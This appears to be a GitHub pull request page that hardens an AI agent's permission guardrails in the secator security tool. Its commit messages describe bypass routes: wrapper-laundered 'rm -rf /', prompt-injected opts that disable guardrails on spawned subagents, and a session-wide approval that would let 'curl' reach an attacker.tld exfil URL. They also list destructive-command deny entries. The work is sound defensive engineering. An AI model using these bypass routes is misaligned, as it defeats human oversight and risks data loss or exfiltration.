feat(ai): AI-task reliability, robustness & security hardening (27 fixes)#1241
Open
ocervell wants to merge 38 commits into
Open
feat(ai): AI-task reliability, robustness & security hardening (27 fixes)#1241ocervell wants to merge 38 commits into
ocervell wants to merge 38 commits into
Conversation
…nd deny (C2, H6) (#1238) ## Findings - **C2 (Critical) — exec-wrapper laundering.** Allow-listed wrapper binaries (`timeout`, `xargs`, `sudo`, `env`, `nice`, ...) execute an arbitrary inner command, but the engine only checked the wrapper's *name* token. So `timeout 60 rm -rf /` parsed to name `timeout` (allowed) and ran under `shell=True` with **no prompt**, also defeating the `bash`/`python` → `ask` gate. - **H6 (High) — `shell(rm -rf /*)` deny was a no-op.** The deny entry `rm -rf /*` is a multi-word payload, but shell rules were matched against the single command-name token `rm`, which never equals `rm -rf /*`. The flagship destructive-delete protection silently did nothing. ## Root cause One root cause: the shell branch of `PermissionEngine._check_action_type` checked only `cmd_name = c[0]` (the first token) of each parsed sub-command — so wrapped inner commands were invisible and multi-word deny payloads could never match. ## Fix (one change covers both) In `secator/ai/guardrails.py`: 1. **Wrapper-aware checking (C2).** Added `EXEC_WRAPPERS` and `_peel_wrapper()`, which strips leading wrapper binaries (plus their flags / numeric operands / `KEY=VALUE` assignments, recursively) to reach the **inner** command. `_check_action_type` now checks the peeled inner command instead of the wrapper name. Reuses the existing safecmd parse via a new shared `_parse_subcommands()` helper. 2. **Destructive-payload deny actually fires (H6).** Multi-word shell deny entries are now matched against the full (wrapper-peeled) command string with `/`-boundary-aware globbing (`_match_command_glob`, where `*` does not cross `/`). So `rm -rf /` and `rm -rf /etc` are **denied**, while a scoped `rm -rf /tmp/x` falls through to the normal name-based check (which prompts). Single-token denies (`dd`, `mkfs`, `env`, `printenv`) keep matching by command name via `_check_value`. **Chosen model (documented in code):** multi-word deny entries = anchored, path-boundary-aware match against the full command string; single-token entries = name match. `secator/config.py` is **unchanged** — the existing deny strings now actually fire, and the `timeout`/`xargs` allow entries are safe because inner commands are checked. ## DRY note Both bugs share the single root cause (first-token-only checking), so they are fixed once: `_parse_subcommands()` is the single parse path (refactored out of `_extract_cmd_names`, reused by the wrapper-peeling logic), and the new behavior threads through the existing `_check_value` deny/allow/ask ordering rather than duplicating it. ## Validation - `python3 -m py_compile secator/ai/guardrails.py secator/config.py` — clean. - Extended `tests/unit/test_ai_guardrails.py` (`TestDefaultPermissions`, real default config) with 7 cases: `timeout 60 rm -rf /` → deny, `xargs -I{} rm -rf {}` → ask (no longer auto-allow), `timeout 60 bash -c ...` → ask (interpreter gate restored), `sudo rm -rf /` → deny, `rm -rf /` / `rm -rf /etc` → deny, scoped `rm -rf /tmp/x` → ask, and `timeout 60 curl ...` → allow (no regression of allowed inner commands). - Full file: **125 passed** (118 prior + 7 new), including the pre-existing `rm -rf /tmp/data → ask` test which the path-boundary-aware deny preserves. ## Extra issues surfaced - **`xargs ... rm ...` only reaches `ask`, not `deny`.** Because xargs feeds the operand (`{}`) from stdin, the peeled inner command is `rm -rf {}`, which doesn't match the root-anchored `rm -rf /*`, so it prompts rather than hard-denies. Acceptable (no longer auto-allowed), but worth noting the deny only fires when the destructive root path is literal in the command. - **`_is_wrapper_operand` heuristic is conservative.** Wrapper option-values that are neither numeric nor `KEY=VALUE` (e.g. `xargs -I {}` with a space, an exotic `--flag value`) can cause the operand to be mistaken for the inner command — this fails *safe* (lands on an unknown token → `ask`), but could over-prompt on unusual wrapper invocations. - **Wrapper list is allow-list-shaped.** New wrapper-style binaries (e.g. `flock`, `runuser`, `script`, `proxychains`, `firejail`) are not in `EXEC_WRAPPERS`, so a future allow-listed wrapper outside this set would reintroduce the same laundering class. Consider deriving wrappers from a maintained set or classifying them. - **`shell(env)` is both a wrapper and a deny entry.** Bare `env` (env dump / exfil) is correctly denied, but `env FOO=bar somecmd` now peels to `somecmd` — intended, but means `env` used purely as a wrapper bypasses the `env` deny by design. Flagged for awareness. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…oop (H1) (#1235) **Finding:** H1 (High) — persistent rate-limit causes an effectively infinite loop. ## Root cause In `secator/tasks/ai.py`, the main loop's exception handler did, for `litellm.RateLimitError`: ```python iteration -= 1 sleep(5) continue ``` Decrementing `iteration` pins the loop counter, so a *persistent* 429 (exhausted quota, billing block, provider throttle) never advances toward `max_iterations` and spins forever — bounded only by the 3h K8s Job deadline — holding a worker slot the whole time. `call_llm` in `secator/ai/utils.py` *already* retries 429 (up to 3×, ~2/4/8s exponential backoff) before re-raising, so the outer `sleep(5)` was redundant double-waiting. ## Fix `secator/tasks/ai.py`, rate-limit handler region only: - Stop pinning the counter — removed `iteration -= 1` so a 429 lets the iteration advance. - Added a bounded **consecutive-429 guard** (`rate_limit_streak`, mirroring the existing `empty_streak` pattern): hard-abort with a clear `Error` after 4 consecutive rate-limit failures, then `_save_history()` + return. The streak resets to 0 on any successful `call_llm`, so transient throttling is forgiven; only a *persistent* 429 trips the abort. This bounds termination at `min(4, max_iterations)` **independent of `max_iterations`** (which is user-settable and can be raised by modes / query extensions). - Removed the redundant outer `sleep(5)`; backoff is preserved inside `call_llm`. Dropped the now-orphaned `from time import sleep` import. - `AuthenticationError` / `APIConnectionError` handling left untouched. `secator/ai/utils.py` `call_llm` retry/backoff already provides the spacing between attempts (2/4/8s) and was left as-is — no change needed. ## Validation - `python3 -m py_compile secator/tasks/ai.py secator/ai/utils.py` → OK. - New focused test `tests/unit/test_ai_tokens.py::TestAiRateLimitTermination::test_persistent_rate_limit_aborts_bounded` reuses the existing `_loop_patches` harness, patches `call_llm` to raise `RateLimitError` on every call with `max_iterations=50`, drives the real `_run_loop`, and asserts the loop calls `call_llm` exactly **4** times (the consecutive-429 cap, far below the 50-iteration budget) and ends with a rate-limit abort `Error` — i.e. it provably terminates instead of looping unbounded. Passes. - No new regressions: pre-existing failures on the base branch (`test_ai_loop.py` guardrail/e2e tests and `test_ai_tokens.py::test_loop_sums_token_usage`) are unchanged with vs. without this patch (verified by stash/compare). ## Extra issues surfaced Noted in adjacent code; **not fixed here** (separate PRs / other lanes): - **Pre-existing test failures on `ai-resiliency`** (not introduced by this PR, flagged for triage): in `tests/unit/test_ai_loop.py`, 9 guardrail/e2e tests fail with `Action denied: shell command not approved` (e.g. `TestGuardrailsAutoMode::test_allowed_command_passes`, `TestMainLoopAutoE2E::test_multi_turn_auto_loop`), and `tests/unit/test_ai_tokens.py::TestAiTokenAccountingEndToEnd::test_loop_sums_token_usage` asserts 600 but gets 100. These look like guardrail/loop drift, owned by other regions. - **Empty-response handling** (`empty_streak`) hard-stops after 3 with `return` (no saved abort Error type distinction) — consistent with this fix's pattern, but worth confirming it's the intended UX. - **`call_llm` retryable set** (`utils.py`) lumps `BadRequestError` and generic `APIError` into the same retry/backoff path as transient 429s — a permanently malformed request will still burn 3 backoff attempts (~6s) before surfacing. Candidate to split non-retryable client errors out. - **`query_extensions` / mode configs raise `max_iterations` at runtime** — independent of this fix (the new guard is mode-independent), but a reminder that the iteration budget is not a tight upper bound on wall-clock by itself. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…ass (C1) (#1239) ## Finding: C1 (Critical) — LLM can disable all guardrails on a spawned subagent ### Root cause In `secator/ai/actions.py`, `_run_runner` read `opts = action.get("opts", {})` — and that `opts` is **LLM-supplied and freeform** (in `tools.py` the `run_task`/`run_workflow` `opts` is `{"type": "object"}` with no property restriction). `_run_runner` only force-set `subagent`/`interactive` for `name=="ai"`, then spread `**opts` straight into the child `run_opts`. The child task does `self.dangerous = self.get_opt_value("dangerous")` and `if self.dangerous: denial = None`, skipping **all** permission checks. So a model — or prompt-injected target output — emitting `run_task(name="ai", targets=[...], opts={"dangerous": true})` spawns a child that bypasses every guardrail (arbitrary shell, any target, any path). ### Fix 1. **`_sanitize_child_opts(opts)`** — a single helper that drops the framework control/security keys the parent owns (`dangerous`, `interactive`, `hooks`, `sync`, `subagent`, `tty`, `dry_run`, `exporters`, `enable_reports`, and any `print_*`) and clamps `max_iterations` to a safe bound (`_MAX_CHILD_ITERATIONS = 25`). Task/workflow-specific scan options (e.g. nmap `ports`, httpx `rate_limit`) are **not** control keys and pass through, so scans are unaffected. 2. **Force `opts["dangerous"] = False`** on every spawned runner — defense-in-depth, so even if a control key slipped through, the child can never re-enable a guardrail bypass. 3. Schema descriptions in `tools.py` now document that control flags are ignored. ### Why this is the right boundary The neutralization happens **spawn-side** in `_run_runner` (the trust boundary where untrusted LLM/tool-call input becomes a child runner's config), **not** by touching the `self.dangerous` logic in `tasks/ai.py`. That keeps the legitimate operator-facing `--dangerous` CLI escape hatch intact for a human running secator directly, while making it impossible for an LLM (or injected output) to set it on a child it spawns. ### Validation - `python3 -m py_compile secator/ai/actions.py secator/ai/tools.py` — clean. - New focused tests in `tests/unit/test_ai_actions.py` (`TestSanitizeChildOpts`): strips dangerous/control/`print_*` keys, keeps benign opts, clamps/drops `max_iterations`, non-dict → `{}`, plus two `_run_runner` integration tests asserting `opts={"dangerous": true, "interactive": "local"}` yields a child `run_opts` with `dangerous=False` and no `interactive="local"` (and the `ai`-subagent path forces `subagent=True`, `interactive=False`, `dangerous=False`). - `pytest tests/unit/test_ai_actions.py tests/unit/test_ai_tools.py tests/unit/test_ai_safety.py` → **92 passed**. ## Extra issues surfaced - **Deny-list vs. strict allow-list (deliberate deviation):** the brief suggested a strict allow-list of LLM-settable keys. A strict allow-list would strip every task-specific scan option (nmap `ports`, httpx `rate_limit`, …) and break the AI's core ability to drive scans. I implemented a **deny-list of framework control/security keys + forced `dangerous=False`** instead — same security outcome at the spawn boundary, without degrading functionality. Flagging for reviewer awareness. - **`run_shell` remains the broadest hole:** C1 is fixed, but the AI `run_shell` action executes arbitrary commands gated only by the permission engine. Worth a separate hardening pass (outside this PR's owned region). - **`hooks` via `run_opts` is theoretical here** (the real `hooks` is a separate `runner_cls(..., hooks=...)` kwarg built from context, not from `opts`), but it stays in the deny-list as defense-in-depth in case `run_opts` ever forwards a `hooks` key. - **No parent-posture propagation field:** `ActionContext` carries no `dangerous` field, so the child is forced non-dangerous unconditionally (the safe default). Letting a dangerous parent spawn dangerous children would need explicit, separately-reviewed plumbing — intentionally not done here. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…to-approval (H7) (#1237) ## Finding: H7 (High — guardrail bypass) Permission prompts poll for their answer **without a `prompt_uuid`**, so a poll resolves against ANY earlier answered permission doc. ## Root cause The canary work added `prompt_uuid` correlation for **follow_up** prompts (in `tasks/ai.py`, where the follow_up pending doc is built) precisely so a poll can't resolve against a previously-answered doc. **Permission prompts were left unscoped.** In `interactivity.py`, the permission poll matched: ``` {_type:"ai", ai_type:"permission", _context.session_id, status:"answered"} (limit=1, no sort, no prompt_uuid) ``` so it returned the first/any earlier answered permission doc. Concretely: - Within a single multi-layer guardrail check (`shell` → `target` → `path`), once the **first** layer is answered "allow", every **later** layer's poll instantly returns that stale "allow" and is auto-approved — the user never sees or can deny the later layers. - Across turns, a brand-new permission prompt can resolve against an **old** approval. This is a guardrail bypass, not just a glitch. ## Fix (mirrors the follow_up correlation; DRY) 1. **`actions.py` (permission-ask region):** stamp a fresh `prompt_uuid = str(uuid.uuid4())` into each permission `ask_kwargs` — **one per layer/iteration** (the shell ask, each target ask, each path ask) — so an earlier "allow" can't satisfy a later layer's poll. Reuses the exact `uuid` + `prompt_uuid` mechanism the follow_up path already uses (`tasks/ai.py` stamps `extra_data["prompt_uuid"]`). 2. **`interactivity.py` `build_pending_prompt`:** persist that `prompt_uuid` into the pending doc's `extra_data` so the poll can correlate on `extra_data.prompt_uuid` when the doc round-trips on read. 3. **`interactivity.py` `_poll_for_answer`:** already threaded `prompt_uuid` into the query (shared with follow_up); additionally resolve against the **newest** answered doc by `_timestamp` (defense in depth) instead of an arbitrary `limit=1` row. Net effect: each guardrail layer polls for **only its own** answer and times out on its own doc; a prior "allow" can no longer leak forward. ## secator-api follow-up needed? **Low-priority follow-up — flagged, not fixed here (different repo, out of scope this round).** The answer-write path lives in `secator-api` (`crud.answer_ai_prompt`, which flips the "latest pending" doc to `answered`). For full correctness it should: - **Preserve `extra_data.prompt_uuid`** on the answered doc (it already does if it does an in-place status update on the existing pending doc — which preserves `extra_data` — but this should be confirmed). - Ideally **target the specific `prompt_uuid`** rather than "latest pending" for the session. In practice permission prompts are issued **sequentially** (the worker blocks on each), so only one pending permission doc exists per session at a time and "latest pending" resolves to the right one — which is why this is low priority rather than blocking. Worth a confirming change in `secator-api` for robustness against any future concurrent-pending scenario. ## Validation - `python3 -m py_compile secator/ai/interactivity.py secator/ai/actions.py` — OK. - `tests/unit/test_ai_interactivity.py` — 22/22 pass, including new focused tests: - `test_later_permission_layer_does_not_resolve_from_earlier_allow` — the **H7 regression**: two sequential permission asks in one session; the first (shell) is answered "allow"; the second (target) polls with its own `prompt_uuid` and does NOT auto-resolve from the first's answered doc (it polls for its own uuid and times out). - `test_build_pending_prompt_stamps_permission_prompt_uuid` — pending permission doc carries `extra_data.prompt_uuid`. - `test_poll_returns_newest_answered_doc` — newest-by-`_timestamp` defense in depth. - Pre-existing failures in `test_ai_guardrails.py` (50) and `test_ai_loop.py` (9) are present on the clean base branch too (verified via stash) — not introduced by this change. ## Extra issues surfaced (Spotted near the permission region — **not fixed here**, flagging for the relevant lanes/owners.) 1. **Possible guardrail bypass on round exhaustion** (`check_guardrails`, `actions.py`): the prompt loop is capped at `max_rounds = 5`. If `result.decision` is still `"ask"` when the cap is hit, the function falls through to `return None` (= no denial), so the action proceeds **despite an unresolved "ask"**. A fail-closed default (deny when still "ask" after the cap) seems safer. Looks adjacent to the C3/H5/M10 cluster. 2. **`_poll_for_answer` now does an unbounded `search`** (I removed `limit=1` to enable newest-by-`_timestamp`). With `prompt_uuid` scoping the result set is tiny, but the legacy/no-uuid path (any caller that doesn't pass a `prompt_uuid`) could return many session docs per poll iteration. Mitigated by the newest-pick; a backend-side sort + `limit=1` would be cleaner but requires a change in `secator/query/` (out of region). 3. **`allow_all` vs `allow` are treated identically** in `RemoteBackend.ask_user` / `_add_permission_rules` — both just add a single runtime allow rule and return `{"answer":"allow"}`. If `allow_all` is meant to grant a broader/session-wide scope, that semantic is currently missing (UX/authz gap). Minor, out of scope. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Contributor
|
Important Review skippedAuto reviews are disabled on base/target branches other than the default branch. Please check the settings in the CodeRabbit UI or the ⚙️ Run configurationConfiguration used: Path: .coderabbit.yaml Review profile: CHILL Plan: Pro Run ID: You can disable this status message by setting the Use the checkbox below for a quick retry:
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
## Finding H10 — guardrail ask-exhaustion fails open
**Root cause:** `check_guardrails(action, ctx)` loops re-checking the
permission decision, bounded by `max_rounds` (5). If the loop exits
because the cap was hit while `result.decision` is still `"ask"`
(unresolved), control fell through to `return None`. A `None` return
means "no denial", so the caller let the **un-approved action proceed**
— fail-open.
**Fix:** After the loop, if the decision is still `"ask"`, return a
denial string (`"Action denied: guardrail check unresolved after
{max_rounds} prompts"`) so the action is blocked. Fail-**closed**.
- Explicit `deny` paths already return inside the loop; an
`allow`/no-rule action exits with `decision == "allow"`, skips the new
guard, and proceeds as before.
- Surgical: one post-loop guard, no behavior change to resolved cases.
**Validation:** `test_ai_actions.py` 61/61 pass, incl. a new test
driving an always-`"ask"` engine past the cap and asserting a denial
(not `None`).
## Extra issues surfaced (flagged, not fixed)
- **Other ask layers fail open on unexpected answers:** the
shell/target/path blocks only deny when `response is None or answer ==
"deny"`; any other value (typo/unknown choice) falls through to
approval. Worth tightening to `answer in {"allow","allow_all"}`.
- **`parse_failed` shell path returns `None`** (un-parseable command the
user didn't explicitly deny proceeds) — separate fail-open smell,
flagged for review.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…e (H9) (#1243) ## Finding **H9** — "Allow this command" silently grants a session-wide rule. ## Root cause In `secator/ai/guardrails.py`, `prompt_shell` option 0 was labelled "Allow this command" with an in-code comment claiming "one-time, no rule added", but it actually called `add_runtime_allow(["shell(<cmd_names>)"])`. That persists a **session-wide** allow keyed by command **name**. So after approving `curl https://good.example` once, the agent could later run `curl https://attacker.tld/exfil` (any `curl`) with no prompt. ## Fix Option 0 now returns `"allow"` for the **current invocation only** and adds **no** runtime rule, so the next `curl` re-prompts. The session-wide `add_runtime_allow(["shell(<cmd>)"])` is reserved for the explicit option 1 "Allow all '<cmd>' commands" (unchanged). The misleading comment is corrected. The decision is consumed per-action by `interactivity.py`, so returning `"allow"` without mutating the engine is a genuine one-shot. ## Validation - `python3 -m py_compile secator/ai/guardrails.py` — OK. - New `TestPromptShell` tests pass (mock the rich menu; no `shfmt` needed): - `test_allow_this_command_is_one_shot` — option 0 leaves `runtime_allow` empty and a second `_check_value("shell", "curl")` still returns `ask`. - `test_allow_all_commands_adds_session_rule` — option 1 still persists `("shell", ["curl"])`. - `test_deny_choice_blocks`, `test_prompt_shell_non_interactive_returns_deny`. - The pre-existing `~50` parser-dependent failures in `test_ai_guardrails.py` (incl. `test_add_runtime_allow`) fail on the base branch too — they require `shfmt` (the safecmd parser), which is not installed in this environment. Confirmed by stashing this change and re-running. ## Extra issues surfaced - The previous behavior used `shell(<comma-joined cmd_names>)` as the rule, so a compound approval (`a | b`) would silently allow **every** sub-command name session-wide — a broader version of the same over-grant. Now moot for option 0; option 1 only ever allows the single `prompt_cmd`. - The interactive shell menu has no "deny + remember" / per-target scoping; even option 1's name-only matching ignores args/targets (a known limitation of the shell allow model, out of scope here). 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…ol messages (H2) (#1244) ## Finding **H2** — truncation/compaction splits `tool_call`↔`tool_result` pairs, producing a leading orphan `tool` message that Anthropic/OpenAI reject with a 400 ("tool_result without matching tool_use"), which kills long AI sessions. ## Root cause `max_tokens_total` defaults to 100000 (>0), so `ChatHistory.to_messages()` runs litellm `trim_messages` every iteration. litellm drops the OLDEST messages with **no tool-pairing awareness**, so the kept window can START with a `tool` (tool_result) message whose preceding `assistant(tool_calls)` was dropped → a **leading orphan tool message**. `ChatHistory.compact()`'s blind `keep_last=N` tail cut has the same defect (the kept tail can begin on a `tool` whose parent fell into the summarized half). The existing `_repair_orphan_tool_uses` only fixed the FORWARD case (assistant tool_calls missing a result), never a leading orphan tool. ## Fix - Added `_strip_leading_orphan_tools()` in `secator/ai/utils.py`: preserves system messages, then drops the run of leading `tool` messages that have no parent in the window. - Extended `_repair_orphan_tool_uses()` to call it first, so the existing `call_llm` safety-net/retry path also repairs leading orphans (count is included in the return value). - `ChatHistory.trim()` (history.py) now strips leading orphan tools after `trim_messages`. - `ChatHistory.compact()` strips leading orphan tools from the kept tail (`to_keep`) before rebuilding, so the rebuilt window never begins on an orphan tool_result. System prompt and tool_call_id↔tool pairing are preserved. ## Validation - `python3 -m py_compile secator/ai/history.py secator/ai/utils.py` — OK. - `pytest tests/unit/test_ai_tokens.py -q` → 19 passed, 1 failed. The single failure (`test_loop_sums_token_usage`, 100 vs 600) is **pre-existing on base** (`ai-resiliency`), unrelated to this change. - Added `TestAiToolPairTrim` (4 focused tests): the helper keeps system + drops leading tools; `_repair_orphan_tool_uses` repairs a leading orphan; `trim()` and `compact()` each, given a history that would otherwise leave a leading `tool`, repair so the first non-system message is a valid `user`/`assistant`. ## Extra issues surfaced None directly observed beyond H2. Note (not fixed here): the pre-existing `test_loop_sums_token_usage` failure on base suggests the end-to-end loop token-accounting (multi-turn summation) may have regressed independently — worth a separate look, but out of scope for this PR. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
…cumulating (M10) (#1245) ## Finding **M10 — channel hygiene** in `RemoteBackend` (`secator/ai/interactivity.py`). Two self-contained robustness bugs in the remote AI prompt poll/timeout path. ## Root cause 1. **Timeout race strands a just-submitted answer.** `_poll_for_answer` exited the loop on `elapsed >= timeout` with NO final search, then flipped `{...status:"pending"} -> "timed_out"`. If the user answered during the last `sleep` (or between the last search and the flip), the doc was already `answered`; the pending->timed_out update no-op'd but the worker still returned `None` and abandoned the turn — the answer was silently lost. 2. **Stale `pending` docs accumulate.** A worker that dies mid-poll leaves a `pending` doc forever (UI shows perpetual "thinking"), and `crud.answer_ai_prompt`'s "latest pending" can collide with stale pendings. ## Fix - **Answer/timeout race:** added one final scoped `status:"answered"` search after the loop before giving up. The timeout flip was already filtered on `status:"pending"` (atomic in Mongo); now we capture its modified-count and, when it no-ops (0 rows -> the doc is already `answered`), re-read the answer instead of returning `None`. Factored the newest-by-`_timestamp` resolution into `_resolve_answer`. - **Stale pendings:** `build_pending_prompt` now calls `_expire_stale_pending(session_id)` before the new doc is persisted, flipping any older still-`pending` doc for that session to `timed_out`. Sequential layers stay safe (each prior layer is already `answered` before the next prompt is built), and the new doc isn't in the DB yet so it can't self-clobber. Guards on a missing `query_engine`. - `prompt_uuid` scoping (H7) is preserved throughout. **FLAG (follow-up, NOT done here):** a DB-layer TTL index on pending `Ai` docs is the durable reaper — belongs to the DB layer, out of scope for this in-file fix. Noted inline in `_expire_stale_pending`. ## Validation - `python3 -m py_compile secator/ai/interactivity.py` — OK - `pytest tests/unit/test_ai_interactivity.py -q` — **26 passed** - Added focused tests: (a) an answer landing in the final window is returned, not lost to timeout; (b) a no-op timeout flip re-reads the raced-in answer; (c) starting a new prompt marks prior still-pending docs stale; (d) `_expire_stale_pending` no-ops without an engine. ## Extra issues surfaced None observed in the owned file beyond M10. (No C3/H3/H5 evidence in `interactivity.py`.) 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
ocervell
changed the title
## Finding — M6: Target/path enforcement is opt-in (default-allow)
Severity High-ish / P1 (Security). In the AI guardrail
`PermissionEngine`, some
enforcement dimensions (target, read/write path) only took effect when a
rule
for that dimension was configured. Removing a catch-all config line
(e.g. `ask: target(*)`) flipped that dimension to **default-allow** —
the check
was skipped and the action silently fell through to ALLOW instead of
ask/deny.
This is fail-open.
## Root cause
`secator/ai/guardrails.py`, `PermissionEngine.check_action`:
- Step 2 (targets): `if targets_to_check and
self._has_rules_for("target")` — the
`_has_rules_for` gate skipped the entire target check when no target
rule
existed, so unknown targets were allowed.
- Step 3 (paths): `if paths_with_access and (self._has_rules_for("read")
or
self._has_rules_for("write"))` — same fail-open for read/write paths.
Confirmed against the code: with `allow=["task(*)"]` and no
`target(...)` rule,
`check_action({"action":"task","name":"nmap","targets":["10.5.2.3"]})`
returned
`allow` before this change.
## Fix
Drop both `_has_rules_for` gates so a dimension is always evaluated when
there
are values to check. When no rule matches, the existing `_check_value`
returns a
`"No rule for ..."` result which `check_action` / `_check_values`
already resolve
to **`ask`** (the established fail-safe default in this file) — so the
fix reuses
the existing decision model rather than introducing a new one. Behavior
is
unchanged when the catch-all IS present (the gate was already True
then). The
now-unused `_has_rules_for` helper is removed. Net diff: +11 / -11.
## Tests
Added `test_target_no_catchall_asks_not_allows` proving an unknown
target now
**asks** (not allows) when no target catch-all is configured. It uses a
`task`
action so it does not depend on the `shfmt`/`safecmd` shell parser
(absent
locally).
Baseline vs after (`tests/unit/test_ai_guardrails.py`, venv):
- Before: **55 failed, 74 passed**
- After: **55 failed, 75 passed** (+1 = the new test)
- The 55 failures are pre-existing/environmental (missing `shfmt` →
`safecmd`
parse failures in `TestEdgeCases`), identical set before and after —
verified
by diffing the failing-test names. No regression.
Note: the path-dimension fix is the same mechanism; it cannot be
exercised by a
passing local test because path detection also needs `shfmt`, which
short-circuits
shell actions to `ask` at step 1 locally.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding — M5: Silent under-billing when \`usage\` absent (Medium /
P2)
\`call_llm\` in \`secator/ai/utils.py\` read \`response.usage\` only
when present:
\`\`\`python
if hasattr(response, 'usage') and response.usage:
... response.usage.total_tokens ...
\`\`\`
If a provider/response omits \`usage\` (streaming, some models, error
paths), the
whole token-accounting block was skipped, \`usage\` stayed \`None\`, and
downstream
metering (the \`tokens\`/\`cost\` in \`tasks/ai.py\`) counted **0** —
the LLM call was
effectively free/unmetered, defeating billing and the token-quota
guardrails.
## The gap
\`secator/ai/utils.py:302\` (pre-fix line) — happy path only; no
fallback branch.
## Fix
- New \`else\` branch (happy path byte-for-byte unchanged): when
\`response.usage\`
is missing/empty, estimate tokens and populate the same \`usage\` dict
shape.
- Estimation uses **\`litellm.token_counter\`** (litellm 1.83.7, already
used in
\`secator/ai/history.py\`) — prompt tokens from the request
\`messages\`, completion
tokens from the response text (+ tool-call name/arguments). Failures
degrade to 0
rather than raising.
- Emits a \`Warning\` (\`console.print(Warning(...))\`, matching the
existing pattern)
noting usage was estimated, so it's observable; the call never fails.
- Small local helper \`_estimate_usage(...)\` (DRY) — no signature
changes to callers.
## Tests
- \`tests/unit/test_ai_utils.py\`: **baseline 20 passed → after 20
passed**. The old
\`test_call_llm_no_usage\` (asserted \`usage is None\`) is replaced by
\`test_call_llm_no_usage_estimates_tokens\`, which mocks
\`litellm.token_counter\`
and asserts a non-zero estimated token count (prompt+completion) with
\`cost=None\`.
- \`test_ai_loop.py\` has 9 pre-existing, environmental failures
(shfmt/safecmd
parser missing on PATH — "shell command not approved"); identical
before/after,
not caused by this change.
## Extra findings (flagged, NOT fixed here)
- **M4** \`secator/ai/utils.py:302\` — \`litellm.BadRequestError\` is in
the
\`retryable\` tuple, so non-transient 400s get retried 3×. (Next Lane C
item.)
- **M3** \`secator/tasks/ai.py:58-59,366\` +
\`secator/ai/history.py:194-216\` —
flat \`max_tokens_total\` trim ignores the model's actual context
window.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
## Finding — H4: Unbounded recursive subagent fan-out (High / P1) The AI task spawns child runners in-process (`_run_runner`). An AI child can itself spawn more AI children, with **no recursion depth cap, no per-turn breadth cap, and no cycle guard**. Malicious/injected tool output can therefore drive exponential subagent/token blow-up until the 3h Job deadline, burning tokens. ## Where context flows to the child `_run_runner` builds `context = _get_result_context(action, ctx)` (`secator/ai/actions.py:486`) — a fresh copy of `ctx.context` — and passes it straight into the child: `runner_cls(tpl, targets, run_opts=run_opts, hooks=hooks, context=context)` (`secator/ai/actions.py:550`). A spawned AI child's `_run_loop` reads that dict back as `ctx.context`, so the recursion state rides through `context`. ## Fix — two caps, reusing the C1 guard region/style New `_guard_subagent_fanout(ctx, context)` next to the existing `_sanitize_child_opts` / `_MAX_CHILD_ITERATIONS` guards, called only on the AI-subagent spawn path (`runner_type == "task" and name.lower() == "ai"`) so normal multi-tool batches are unaffected: - **Depth cap** — `_MAX_SUBAGENT_DEPTH = 3`. Read `context['ai_subagent_depth']` (0 if unset); refuse at/over the cap; otherwise stamp the child's copy with `depth + 1` so it inherits the level. - **Per-turn breadth cap** — `_MAX_SUBAGENTS_PER_TURN = 5`, counted in `context['ai_subagent_turn_count']`, reset to 0 at the top of `_run_batch` (one LLM turn) and only enforced when `ctx.in_batch` (a lone spawn is inherently breadth-1). Increment is guarded by a `threading.Lock` since a batch runs subagents concurrently. New `ActionContext.in_batch` flag set on the per-batch `ctx`. ## Denial shape reused On a cap hit the guard returns a denial `Warning(message=..., _context=context)`; `_run_runner` yields it and `return`s (no spawn), matching how guardrail denials are surfaced — the `Warning` is collected and fed back to the LLM as that tool call's result. No unhandled exception, so the parent turn never crashes. ## Tests Baseline `tests/unit/test_ai_actions.py`: **61 passed**. After: **64 passed** (+3). New `TestSubagentFanoutCap`: depth-cap refusal, per-turn breadth-cap refusal, and a normal depth-0→1 spawn still succeeding (child context carries `ai_subagent_depth == 1`). ## Extra findings (not fixed here) - **Token/quota accounting is not inherited by children.** A spawned AI child gets its own `_run_loop` token counters (`self.context['ai_tokens']` etc.); the parent does not aggregate a child's spend, so caps bound *fan-out* but not total cross-tree token cost. - **Sibling context aliasing in batches.** Within `_run_batch`, all concurrent `run_single` calls share the same `ctx.context` dict object (via `replace`, shallow copy); `_run_runner` copies it per child, but the shared per-turn counter is mutated concurrently (handled here with a lock — flagging the broader aliasing pattern). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
